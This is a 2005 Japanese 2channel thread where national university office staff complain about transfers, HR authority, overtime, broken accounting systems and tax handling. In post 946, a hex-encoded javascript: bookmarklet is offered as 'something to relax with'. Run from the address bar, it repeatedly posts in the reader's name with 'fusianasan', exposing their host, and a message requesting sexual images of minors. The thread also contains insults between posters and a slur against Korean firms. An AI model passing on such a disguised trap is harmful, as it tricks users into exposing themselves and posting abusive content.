この際だから首になる勢いで書いちゃおうかな。
880:非公開＠個人情報保護のため
05/03/01 16:16:08
書くべし、書くべし
881:非公開＠個人情報保護のため
05/03/01 17:54:31
>>874
ついでに同年代なら給料の額まで大して変わらんし。
>>877
恩名って顔とｘｘｘが良ければ学歴はあまり問われないし。
882:872
05/03/01 19:44:23
>>875
マルブン出身ではなく他地域出身
なのでこちらも方言
意志の疎通が難しい…
883:非公開＠個人情報保護のため
05/03/01 21:19:21
確かに、高卒か三流大卒程度の仕事しかない職場に入った漏れらが悪いんだよな…
人生の敗北者として上に逆らわず、文句を言わず、遅れず休まず働かずで生きていきますよ、ええ。
884:非公開＠個人情報保護のため
05/03/01 21:19:32
内示いつかな？
今年は人事課で全事務系職員ヒヤリングを行ったので、
本人の希望にできるだけ添う人事してくれることと思うのだが・・・
いざふたをあけたらまた本部系、学部系、学務系、区分け人事になる予感がするのは私だけでしょうか？
答えて人事係 殿
885:非公開＠個人情報保護のため
05/03/01 21:41:48
永遠の前例主義♪
シッポの振り方と
ハラの見せ方と
噛み付き方、吠え方は
キャンパスを彷徨う
野良犬に習えば万事ＯＫさ
886:非公開＠個人情報保護のため
05/03/01 21:44:05
ねぇ～ニッポン包装じゃなくて
うちの大学買ってよ～ホリエモ～～ン
887:非公開＠個人情報保護のため
05/03/01 21:50:19
やっと「使えないヤツ」って分かってもらえたyo
888:非公開＠個人情報保護のため
05/03/01 22:35:19
なんで人事課の人って課内異動だけで、そとの部署に異動にならないの？教えて！
889:非公開＠個人情報保護のため
05/03/01 22:53:16
しらんわ
890:非公開＠個人情報保護のため
05/03/01 23:04:15
人事課内で人材を純粋に培養してるんだろ？よくあることだ。
891:非公開＠個人情報保護のため
05/03/01 23:09:41
荷物が多くて引っ越すのが大変なんだろｗ
892:非公開＠個人情報保護のため
05/03/01 23:18:05
人事の奴って平からして態度でかいよな爆！
893:非公開＠個人情報保護のため
05/03/01 23:23:58
そりゃ組織のお荷物相手じゃ態度もでかくなるでしょうな
894:非公開＠個人情報保護のため
05/03/01 23:32:34
やっぱ人事系職員が最高権威なのね
895:非公開＠個人情報保護のため
05/03/01 23:35:51
でも人事権は人事課がもってるわけじゃないんだよねえ、、、、
896:非公開＠個人情報保護のため
05/03/01 23:35:56
>873
>マルブン出身の部長はマルブンでよーっぽど使えなかった香具師らしいぜ。
そりゃちっと違うだろ。ノンキャリなら
マルブ→大学課長→マルブ補佐主査→大学部長
はそれなりに優秀。
マルブ→大学課長→人工衛星→大学部長
は確かにハズレも多いが。
キャリアで大学部課長でくるのは、まーキャリアの世界じゃ使えなかった奴
（がほとんど）。
897:非公開＠個人情報保護のため
05/03/01 23:44:06
>>895
誰がもってるの？？
>>896
人工衛星！ばかうけ！笑
898:非公開＠個人情報保護のため
05/03/02 00:22:52
忘れ物ですよ。
つ常識
つ向上心
つ採用された頃の期待に胸を膨らましたあなたの心
899:非公開＠個人情報保護のため
05/03/02 01:39:32
人事の決定権を持っているのは課長・事務長ですよ
人事課は、資料（経験年数や係在籍年数、本人の希望など）を用意して、補佐が各部局からの要望（取り捨て）を取り纏めるだけ
文句なら課長や事務長に言えｗ
900:非公開＠個人情報保護のため
05/03/02 03:21:42
>>879
マジで非常勤ならさっさと辞めて次探した方がいいよ。
うちは非常勤の任期満了後は補充はせず派遣に置き換えつつある。
多分良心から出た文だとは思うけど、この界隈には深入りしないのが幸せだよ？
901:非公開＠個人情報保護のため
05/03/02 06:29:15
>>899
各課長や事務長のエゴを排除して、あるべき人事のあり方
を追求するのが人事課の仕事だわ。それもできないなら
ガキの仕事。ヒトゴト課といわれるゆえん。
902:非公開＠個人情報保護のため
05/03/02 07:15:29
>901
人事課に裁量権持たせると、何も知らないのにかき回されそうで
ちょっと怖いな。今より非道い人事異動が行われそう。
そもそも成績が数字で表されず、ほぼ１００％風評に頼ってる世界
だもんなぁ。
903:非公開＠個人情報保護のため
05/03/02 08:48:21
>>892
うちじゃ快慶の方がｗ
最末端は謙虚だが主任以上は傲慢
>>900
良心というより、正職員との待遇の差に対する不満から出た文だと思われ。
正職員と全く同じ仕事なのに時給制ボーナス無しじゃ洒落にならん罠。
>>901
役所（大学）じゃ人事はそれほど力持ってないからなぁ
904:非公開＠個人情報保護のため
05/03/02 10:47:29
うちの大学じゃ、課長や事務長よりも各部署の筆頭課の課長補佐が人事権を
もってるっぽい。丸文課長は、どうせ２，３年で異動するから人事には口を
出さないらしい。そして課長補佐が裏で集まって異動を決めて、人事課は
それをもとに忠実に実行するだけで、人事課自体に力はない。
905:非公開＠個人情報保護のため
05/03/02 20:06:58
他大学への転出希望出してるんだけど来週あたりに内示なかったらもう他大学への異動なし確定かね。
906:非公開＠個人情報保護のため
05/03/02 20:20:04
普通は３月頭までには処理するだろ。
よってもう既に確定かと。
907:非公開＠個人情報保護のため
05/03/02 22:19:57
おつかれちゃ～んｗ
908:非公開＠個人情報保護のため
05/03/02 22:26:01
>>888
今さら学部になんか行きたくねえよ！と人事課係員が申しておりました。
909:非公開＠個人情報保護のため
05/03/02 22:29:17
学部で働く事務職員は本部事務局事務職員からさげすまれています。
910:非公開＠個人情報保護のため
05/03/02 22:32:28
だからいつまでたっても学生のための大学ができないのです
911:非公開＠個人情報保護のため
05/03/02 22:37:12
藻前ら個人情報保護法対策は大丈夫でつか。
912:非公開＠個人情報保護のため
05/03/02 22:55:38
事務職員全員、自分とこの大学の学生のことなんか微塵も考えてないだろ？
だいたい自分のことで精一杯だし。働くのは自分のためだしな。
913:非公開＠個人情報保護のため
05/03/02 22:56:25
>>909
学部学生係から財務部に異動になったバカデブ係員なんぞは、
ふん反り返って仕事してますよ。アホかお前は！
914:非公開＠個人情報保護のため
05/03/02 23:05:19
荒れてきたな
915:非公開＠個人情報保護のため
05/03/02 23:09:09
>>913
そりかえって椅子ごと倒れて、腰の骨でもいわしゃ、ラッキーと思えｗ
916:非公開＠個人情報保護のため
05/03/02 23:15:15
>>911
うちの総務は法律の読み方も知らないことが判明いたしますた。
917:非公開＠個人情報保護のため
05/03/02 23:17:31
法律学部出身でも読めない奴いるんだし、おおめにみたら？
918:非公開＠個人情報保護のため
05/03/02 23:39:11
>>913
> 学部学生係から財務部に異動になったバカデブ係員
私もその口ですが（痩せてますけど）、一刻も早く古巣に帰りたいです。
大学でしかできない業務に携わりたいです。
「親切丁寧だけど、学生のルール違反には厳しく対応」というスタンスで
仕事をするのが気に入っていたんです。
入学式も卒業式も知らない間に終わってて、近所の飲み屋の混み具合で
学生の夏休みを知るような生活は、もう嫌です。
たいしゃくたいしょーひょーとやらを完成させるために、未だにバグが
無くならないシステムと格闘する不毛な日々と、早くおさらばしたいです。
事務局の会計職なんぞ、薄ら笑いを浮かべながら学部の職員を「指導」する
お前らだけでやってくれ！！
919:非公開＠個人情報保護のため
05/03/02 23:41:54
せっかく大学に就職したんだから、学生サービスに従事したい職員ってどれくらいいるの？
920:非公開＠個人情報保護のため
05/03/02 23:43:33
女学生にサービスされたひ
921:非公開＠個人情報保護のため
05/03/02 23:46:48
意外とかわいい女子学生に遭遇しないよな・・・国立大学って。。。
922:非公開＠個人情報保護のため
05/03/02 23:54:33
>>909
本部も学部も、所詮同じ穴の狢なのにね。
923:非公開＠個人情報保護のため
05/03/03 00:33:58
>>922
所詮他省庁から見たら（元）へっぽこ出先機関なんだから仲良くすべきなんだよな
924:非公開＠個人情報保護のため
05/03/03 08:02:49
>>918
そのシステムって、ニッ○イ○ムじゃないっすか？
うちは、ボロボロです。
そんなシステムを中心的に導入したヤツは異動（課長昇進）で
逃げ出そうとしているぞ！
925:非公開＠個人情報保護のため
05/03/03 08:32:25
>>911
URLﾘﾝｸ(itpro.nikkeibp.co.jp)
926:非公開＠個人情報保護のため
05/03/03 08:36:00
>>918
甘えんなこのバカ。
>「親切丁寧だけど、学生のルール違反には厳しく対応」というスタンスで
>仕事をするのが気に入っていたんです。
じゃあ教授や業者、職員同士でもそのスタンスでやればいい事だ。
なぜ、学生にこだわるのか。
発言力が無いからか？
後腐れないからか？
>入学式も卒業式も知らない間に終わってて、近所の飲み屋の混み具合で
>学生の夏休みを知るような生活は、もう嫌です。
お前のアンテナが低すぎ。
大学の動きくらい、どの部署にいても知る努力くらいをしろ。
飲みに良く時間があるくらいなら
それくらいは出来るんじゃないか？
>事務局の会計職なんぞ、薄ら笑いを浮かべながら学部の職員を「指導」する
>お前らだけでやってくれ！！
お前がやれ。
しっかり給料もらってるんだろうが。
嫌な仕事は他人に振りたい、って事か？
まったく、恐れ入った社会人様だぜ。
これだから「学務は。。」って陰口叩かれんだよ。
927:非公開＠個人情報保護のため
05/03/03 09:12:48
× しっかり給料もらってる
○ ちょっぴり給料もらってる
928:非公開＠個人情報保護のため
05/03/03 12:32:18
× ちょっぴり給料もらってる
○ ほんのり給料もらってる
929:非公開＠個人情報保護のため
05/03/03 12:38:01
安く調達するため韓国系の会社に依頼したのはいいが
バグやら故障やらがひどくて、結局当初予算以上の金がかかってしまった。。。。。
おまえら韓国系はやめとけ
930:非公開＠個人情報保護のため
05/03/03 12:41:41
>>929
もはや一般常識のはずですが・・・
931:非公開＠個人情報保護のため
05/03/03 13:15:25
>930
うちの大学は韓国や中国との交流が深い教授が多いから
多分、同じような運命をたどるだろうな。
世間の常識は大学にとって未知の情報。
932:非公開＠個人情報保護のため
05/03/03 21:44:53
age
933:非公開＠個人情報保護のため
05/03/03 22:24:02
× ほんのり給料もらってる
○ ちゃっかり給料かすめとってる
いずれ給料出ないが残業頼むわ，という数年先が楽しみです。
934:非公開＠個人情報保護のため
05/03/03 22:56:09
そろそろ武花鳥の異動決定の時期だがなんか動きある？
935:非公開＠個人情報保護のため
05/03/03 23:28:22
ｻｶﾉﾎﾞﾘ昇格ｷﾀ━━━(ﾟ∀ﾟ)━━━!!!!
初任給ﾁｮｳｾｰ手当2年追給ｷﾀ─ｗｗﾍ√ﾚｖｖ～(ﾟ∀ﾟ)─ｗｗﾍ√ﾚｖｖ～─ !!
いい加減に汁!・・・・・・・・・orz
936:非公開＠個人情報保護のため
05/03/03 23:36:07
昨年度昇格させることを誤って放置していたということ？
年度またがって遡及したように読めるけど
937:非公開＠個人情報保護のため
05/03/03 23:42:11
あのさ・・・・、
補助金（運営費交付金）毎年１％減で
ドンドン財政は苦しくなるわけだし。
つぶしが効かなそう（学務など）で
将来ここの職員は大変そう・・・・。
938:非公開＠個人情報保護のため
05/03/03 23:43:18
本省に池
939:935
05/03/03 23:46:25
>>936
昇格は1月1日ですが人数多い・・・12月に特ｼｮｰで半年以上遡及やったばっかりなんだがなぁ
初任給はなんか部局の椰子が経験年数ずっと数え間違えてたとかで・・・
他にも講師の遡及とかﾒﾝﾄﾞｰなのがﾜﾝｻｶ出てきたYO
つーか講師の遡及ってそもそも今の窮余ｼｽﾃﾑでは対応してないんだけどな
他の大学でも講師の遡及なんかやってるのか実は聞いてみたひ・・・
940:非公開＠個人情報保護のため
05/03/03 23:53:32
採用時の間違いが今頃わかるのだな・・・・・・・
941:非公開＠個人情報保護のため
05/03/04 00:35:48
なんだかんだいって
今年もうちの部署の予算は余っているわけだが・・・・。
で、もって無理やり消化しようとしてるわけだが。
いざとなったら普通に予算減らせばやってけるんじゃない？
942:非公開＠個人情報保護のため
05/03/04 00:39:54
予算使い切らないと評価下がるの？
それとも制裁来るの？
943:918
05/03/04 01:08:59
>>926
愚痴に対する叱咤激励と受け止めますが…
> じゃあ教授や業者、職員同士でもそのスタンスでやればいい事だ。
> なぜ、学生にこだわるのか。
学生対応って、事務とはいえ時には「教育」を意識して対応しなきゃ
ならんことがあるから特殊だと思いますよ。厳しく叱った学生が、学内で
気さくに挨拶してくれた時なんて、やっぱ嬉しいなあ。
> お前がやれ。
> しっかり給料もらってるんだろうが。
> 嫌な仕事は他人に振りたい、って事か？
学部の年配者に対して、偉そうに応対する係員に虫酸が走るんです。
（これが珍しくない…）
財務の仕事はそんな勘違いエリート君に任せるから、俺を窓口に
帰してくれ！と…
> まったく、恐れ入った社会人様だぜ。
> これだから「学務は。。」って陰口叩かれんだよ。
出身学部よりすでに現職が長く、既に「財務の人」と見られてます。
何度異動を希望しても通らないのは珍しくないんだろうけど、
もうちょっと適正を考えて人員配置して欲しいよ。
>>924
そこじゃないけど、ボロボロです。
バグを直すたびに新たなバグを呼ぶという…
944:非公開＠個人情報保護のため
05/03/04 02:15:26
やっぱりガクムはガクムか・・・。みんながみんな、ヤリガイがある仕事をしてるわけではないと思うが。オトナだったら、歯をくいしばらなきゃならない時もあるさ。それが例え自分がやりたくない事だとしても、な。
945:非公開＠個人情報保護のため
05/03/04 02:23:57
つーか、事務屋風情に
被教育を期待する学生なんかいねーよﾜﾗ
なに勘違いしてんだあ？
所詮はたかが小役人崩れの分際で？
946:非公開＠個人情報保護のため
05/03/04 03:16:55
息抜きにでもどぞー
（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。
１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。
２、
改行を外して１行にする。
３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。
４、
Enterを押す（もしくは「移動」をクリックする）。
947:非公開＠個人情報保護のため
05/03/04 05:19:52
今頃広大は蜂の巣をつついた騒ぎなのかなぁ･･･
家宅捜索では朝３時４５分ってあったけど。
一体どこから漏れたことやらｗ
URLﾘﾝｸ(headlines.yahoo.co.jp)
用途指定寄附金収入として受け入れたらよかったのにね。
948:非公開＠個人情報保護のため
05/03/04 05:42:58
>>942
大学としての話か、学内での話かによって変わってくるかと思うが
大学として余れば、経営努力認定→目的積立金。
学内で同様のルールがあれば、次年度の部局予算配分で配慮されるかも試練。
というか、学内でも部局の経営努力に対するインセンティブを与えないと、
従来どおり年度内に予算を使い切ることしか考えない罠。
経営努力であれ何であれ、予算が余るということは、
世間的には、より少ない予算で教育研究ができるということになるから、
長期的には効率化係数分以上の交付金減につながる希ガス・・・
漏れは財務畑ではないので、間違ってたら指摘よろ
949:非公開＠個人情報保護のため
05/03/04 05:49:05
追加。
経営努力と認められなければ、
本来行うべき教育研究を実施していないという評価になるな・・・
950:918
05/03/04 08:24:29
>>944
目の前の仕事に歯を食いしばる
↓
評価される
↓
財務貼り付け
状態だよ。。。
愚痴くらい言わせろ。
951:非公開＠個人情報保護のため
05/03/04 08:48:58
age
952:非公開＠個人情報保護のため
05/03/04 13:44:29
どの職員も学生サービスのことなんか考えるか！
あと、お客様とも考えるか！
953:非公開＠個人情報保護のため
05/03/04 14:26:26
>>950
まあ気持ちは判るが、もう学務には戻れないじゃないかな？
人事なんて結局は「個人」より「組織」を重要視するもんだ。
君が内心でどう思っていようが、
有能な人材が評価に値するほど働いてくれてる、というのは
「組織」側から見ると、理想的な人事異動を行ったと言えるんじゃないかな。
まさに、「適材適所」ってやつだ。
君の学務の後任も、君と同じように遣り甲斐を感じているだろう。
後進に道を譲ってあげてもいいんじゃないかい？
954:非公開＠個人情報保護のため
05/03/04 17:34:07
学務から系列の違う異動させられたら戻るはまず無理。
955:非公開＠個人情報保護のため
05/03/04 18:57:13
age
956:非公開＠個人情報保護のため
05/03/04 18:57:32
経営協議会とかの学外委員に払う謝金なんすけど
今まで所得税通達28-7で，
○給で1万円以下課税しなくてOKだったじゃないすか。
あれって，法人になっても適用でいいもんなんすかね？
誰か知ってる人います。
もしダメだら，どう課税するか教えてくれたら
めっちゃめちゃうれしいんすけどー。
957:非公開＠個人情報保護のため
05/03/04 19:55:14
>>956
??????
通達だろうがなんだろうが
所詮所得税法２０４条に従い
源泉徴収すればいいだけの話。
課税非課税なんてあとの確定申告でどうにでもなる。
958:非公開＠個人情報保護のため
05/03/04 19:59:46
年度末ですねー
959:非公開＠個人情報保護のため
05/03/04 20:38:39
文科系学部ジムは、暇です。毎日６時までには、退庁。
960:非公開＠個人情報保護のため
05/03/04 20:42:12
部局の経理系の係は月にどの程度残業されていますか？事務局（財務）は、残業が
多くてつらいです。
961:非公開＠個人情報保護のため
05/03/04 20:49:44
受験希望者なんですが、採用試験にはどのような問題が出るのですか？過去問とかあるんですか？
962:非公開＠個人情報保護のため
05/03/04 21:02:43
>>959
それが普通だろ。
毎日深夜までやってるほうが異常。
残業したらちゃんと残業手当申請しろよ。
963:非公開＠個人情報保護のため
05/03/04 21:04:15
ちなみに俺はちゃんと残業した分申請して、申請した分ちゃんと付く。
先月は６２時間だった。
964:非公開＠個人情報保護のため
05/03/04 21:40:53
早く帰りましょうねー
965:956
05/03/04 22:18:02
でも前年度までは，国だったから
経営協議会とかの委員会出席の謝金って
○給で課税してませんでしたかねぇ？
ずっと○報で課税してたのかなぁ？
少なくとも前年度まで，うちは○給でしたよ。
１万円以内は課税もしてなかったんすよね。
966:非公開＠個人情報保護のため
05/03/04 22:23:41
みなさん、そろそろ次スレのタイトルを！
967:957
05/03/04 22:34:20
>>965
要するに○給でも○報でも
源泉徴収が大事って事。
（１０％やら１人で１００万超えは２０％とか）
俺は謝金報酬は○報でやってる。（外部の人だから）
○給は内部関係の職員給与・賞与支払いのみ。（当たり前か）
最終的には謝金は雑所得か給与所得だから
そちらの区分が大事。
>>960
経理時代の残業は月１４０時間くらいだった。
給与税金だけでなく予算補助宿題・監査・検査院提出もしてたからな。
968:非公開＠個人情報保護のため
05/03/04 22:37:09
国立大学の事務19～みんな昔は公務員だった～
なんてどうですかー
969:非公開＠個人情報保護のため
05/03/04 22:38:23
国立大学の事務19～事務の悲劇～
なんてのもありますよー
970:非公開＠個人情報保護のため
05/03/04 22:41:28
おばちゃんひまなの？
971:非公開＠個人情報保護のため
05/03/04 22:48:34
国立大学の事務 第19弾～残業暴騰24時～
972:非公開＠個人情報保護のため
05/03/04 22:53:07
>>952
お前、ゴミだね（ﾌﾟｹﾞﾗ
973:非公開＠個人情報保護のため
05/03/04 22:55:28
国立大学の事務19～彫金ゼロ時代～
974:非公開＠個人情報保護のため
05/03/04 22:55:51
なぜ、いくら残業しても十数時間しかつかないのか？？？？？
975:非公開＠個人情報保護のため
05/03/04 22:59:06
今年の学内異動の内示はいつかな。憂鬱な季節。拒否権発動。
976:非公開＠個人情報保護のため
05/03/04 23:01:47
人事いる奴っていつもいいとこに異動するわな
977:非公開＠個人情報保護のため
05/03/04 23:11:19
>>976
それが人事の特権だろ？ちがうか？
978:非公開＠個人情報保護のため
05/03/04 23:11:24
>>924
ウチと同じだなぁ。パッチ当てたら新たなバグを生んでる。
あそこは会社としての姿勢がなってないよ。
979:非公開＠個人情報保護のため
05/03/04 23:30:42
ドクホウカしたんだし、SE雇いまくって情報の奴ら首ちょんぱな人事しないかな
980:非公開＠個人情報保護のため
05/03/04 23:54:15
国立大学の事務19～春を待つ内示～
981:非公開＠個人情報保護のため
05/03/04 23:58:03
それよりももう公務員板から撤退して
いい加減リーマン板にでも移した方が良い。
982:非公開＠個人情報保護のため
05/03/04 23:58:34
国立大学の事務１９～単なるリーマンへ～
983:非公開＠個人情報保護のため
05/03/05 00:10:04
>>981
自治厨は新で好し
984:非公開＠個人情報保護のため
05/03/05 00:20:44
>>974
ちゃんと申請しないから。
985:非公開＠個人情報保護のため
05/03/05 00:21:58
>>978
それよりも制度をシンプルにしないと、どこが電算化しようとしてもバグだらけになる罠。
986:非公開＠個人情報保護のため
05/03/05 00:23:17
旅費にして窮余にしても規則が複雑杉
そこに手つけん限りどんなｼｽﾃﾑ入れても無駄だろ
987:非公開＠個人情報保護のため
05/03/05 00:24:21
>>979
民間SEもレベル低いの大杉。まともなSEはごくわずかしかいない。
若いやつはそもそも経験不足で使い物にならんし、経験積んだいいSEは大学なんか来るはずがない。
988:非公開＠個人情報保護のため
05/03/05 00:25:19
>948
まぁ中期計画期間中は積み立てられるから、交付金減にはならないのかも。
６年後は頑張って０にするんだろうな。残ってたら国に没収、かつ次の中期計画
期間の交付金配賦に影響与えそうだから。
ところで、経営努力認定による積み立て（繰越）と、事故繰越って、取扱い違うの？
989:986
05/03/05 00:26:15
「も」が抜けたった・・・orz
そう言えばﾄﾄｰﾘ大の旅費計算外注はうまくいってんのかねぇ
990:非公開＠個人情報保護のため
05/03/05 00:55:21
そういや、灯台が職員に広く求めた「業務改善提案」で
事務職員グループ（といっても２人？）による旅費の改善案が
特賞をもらってたね。回覧でまわってきた灯台学内広報で見たんだけど。
あれ、どんな改善案だったんだろうね？
（できれば灯台、「こんなことやっているんですよ」って話じゃなく
ＨＰかなんかで内容も公開してほしいんだけどさ。難しいかなあ）
991:非公開＠個人情報保護のため
05/03/05 19:44:51
>963
３６協定どうなってるんだろ
うちの学校は通常上限３０、多忙上限４５、
だけど年間通算３６０
さて、首でも洗って異動を待ちたいもんだが
992:非公開＠個人情報保護のため
05/03/05 20:06:23
学内異動は、内示で拒否できるんですか？
993:非公開＠個人情報保護のため
05/03/05 20:23:26
学内はふつうは無理
994:名無しでＧｏ！
05/03/05 20:27:38
>>992
拒否できるのは”住居の移動（引越し）を伴う異動”だけ。
これも断り続ける香具師が多いと後のほうの香具師はかなり
しつこく言われることになり断るのに往生する。
学外異動でも住居から通えれば学内異動と同じ扱い。
995:sage
05/03/05 20:33:02
>>992
できるぞ。
泣き叫んで、引っくり返した奴、退職した奴、自殺など・・・。
尋常ではないが・・・・。
996:非公開＠個人情報保護のため
05/03/05 20:58:18
法的に言えば、学内の移動と在籍出向は拒否不可。
転籍出向は本人の同意が必要で拒否可。
997:非公開＠個人情報保護のため
05/03/05 21:52:47
桜井の配属先をよろしく教えてください。
998:非公開＠個人情報保護のため
05/03/05 22:46:17
998
999:非公開＠個人情報保護のため
05/03/05 22:47:13
999
1000:非公開＠個人情報保護のため
05/03/05 22:47:25
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